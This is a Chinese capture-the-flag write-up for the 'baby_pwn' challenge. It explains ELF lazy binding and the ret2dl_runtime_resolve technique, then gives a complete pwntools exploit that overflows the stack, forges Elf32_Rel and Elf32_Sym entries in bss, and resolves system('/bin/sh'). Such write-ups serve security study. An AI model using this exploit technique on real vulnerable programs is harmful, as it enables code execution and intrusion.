国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造

0x01 ELF文件的动态链接之延迟绑定 在动态链接下,程序模块之间包含了大量的函数引用,动态链接会耗费不少时间用于解决模块之间的函数引用的符号查找以及重定位,且一部分函数在执行结束都不会用到,如果一开始链接好实际上是一种浪费,于是ELF采取的这种技术。
0x02 延迟绑定的实现过程 以国赛baby_pwn为例
国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造
文章图片

程序第一次执行read函数,会进入plt表。
国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造
文章图片

之后会跳转至ds:[0x804a00c]处的地址。将参数0和ds:[0x804a004](link_map的指针)处的地址压入栈中,之后执行dl_runtime_resolve函数
dl_runtime_resolve函数
1.访问linkmap的指针访问.dynmaic,取出.dynstr,.dynsym,.rel.plt的指针
2. .rel.plt+第二个参数求出当前重定位表项Elf32_rel的指针。该结构体如下,大小为8个字节

typedef struct { Elf32_Addrr_offset; //指向GOT表的指针 Elf32_Wordr_info; } Elf32_Rel;

查看一下本题目的read函数的Elf32_rel结构体
国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造
文章图片

3.将Elf32_rel结构体中r_info>>8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针
该结构体如下,长度为0x10

typedef struct { Elf32_Wordst_name; //符号名,是相对.dynstr起始的偏移 Elf32_Addrst_value; Elf32_Wordst_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; }Elf32_Sym;

由于上方107>>8=1且结构体长度为0x10
国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造
文章图片

这里我们可以得知st_name的值为0x20
4…dynstr + sym->st_name得出符号名字符串指针,偏移为0x20正好为read函数的字符串
国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造
文章图片

5.在动态链接库查找这个函数的地址,并且把地址赋值给GOT表
6.调用这个函数

0x03利用方式 1.改写.dynamic的DT_STRTAB
若.dynmaic可写,即可改写.dynmaic中.dynstr的指针,将.dynstr的指针改动至可以操纵的内存空间,便可以执行我们想要的函数。
2.操纵第二个参数,实现伪造的效果
根据重定位的第二步.rel.plt + 第二个参数,若第二个参数值很大,那么就可以跳转至我们可以操纵的一块内存空间。便可以伪造Elf32_rel结构体中r_info,r_info伪造时要注意为0xXXXXXX07,其中0xXXXXXX为.dynsym的下标,也可以利用类似的方法进行越界至可操纵内存伪造Elf32_sym,最后伪造st_name使得.dynstr越界并且伪造字符串
baby_pwn 拿到程序,看到栈溢出漏洞
return read(0, &buf, 0x100u);

【国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造】接着便是构造溢出之后的ROP链
由于没有puts,write之类函数无法泄露got表内地址,无法知道libc版本,因此无法执行system函数。于是考虑采用ret2dl-resolve技术
首先查看.dynmaic是否可写.dynmaic的地址为0x08049F14,发现其不可写。
国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造
文章图片

于是考虑一下思路2。首先实现溢出,执行read函数,在bss+0x800上构造虚假的第一个参数,Elf32_rel,Elf32_sym和st_name,和函数参数最后转移栈顶转移至bss+0x800。
之后强制重定位,强制重定位后会自动执行重定位之后的函数system函数
EXP如下
#!/usr/bin/env python # coding=utf-8 #!/usr/bin/env python # -*- coding: utf-8 -*-from pwn import * context.log_level='debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] p=process('./nationalpwn') #p=remote("c346dfd9093dd09cc714320ffb41ab76.kr-lab.com",56833) elf=ELF('./nationalpwn')base_stage=0x0804a040+0x800 #objdump -h pwn|grep bss read_plt=0x08048390 #objdump -d pwn |grep plt gadget1=0x0804852a #ROPgadget --binary pwn |grep leave # leave |retpayload='A'*0x28+p32(base_stage) #EBP->bss_stage payload+=p32(elf.symbols['read'])+p32(gadget1)+p32(0)+p32(base_stage)+p32(100) #raw_input() p.sendline(payload)#fake struct dynsym=0x080481dc#objdump -h pwn dynstr=0x0804827c alarm_got=0x0804a010 fake_sym_addr=base_stage+44index_dynsym=(fake_sym_addr-dynsym)/0x10 r_info=index_dynsym<<8|0x7 fake_reloc=p32(alarm_got)+p32(r_info)# rel alarm->system07 st_name=fake_sym_addr+0x10-dynstr fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)plt0=0x08048380 #.plt rel_plt=0x0804833c#rel位置 cmd='/bin/sh' index_offset=base_stage-rel_plt+28payload2='B'*4#base_stage payload2+=p32(plt0)#强制重定位,esp+4 base_stage+4 payload2+=p32(index_offset) # push reloc_argbase_stage+8 payload2+='AAAA'#返回地址 bse_stage+12 payload2+=p32(base_stage+80)#函数参数base_stage+16 payload2+='A'*8#base+stage+20 #fake_struct payload2+=fake_reloc #base_stage+28 payload2+='B'*8#base_stage+36 payload2+=fake_sym #base_stage+44 payload2+="system\x00\x00"#base_stage+60 payload2+='A'*12#base_stage+68 payload2+=cmd+'\x00' #gdb.attach(p) p.send(payload2) p.interactive()

    推荐阅读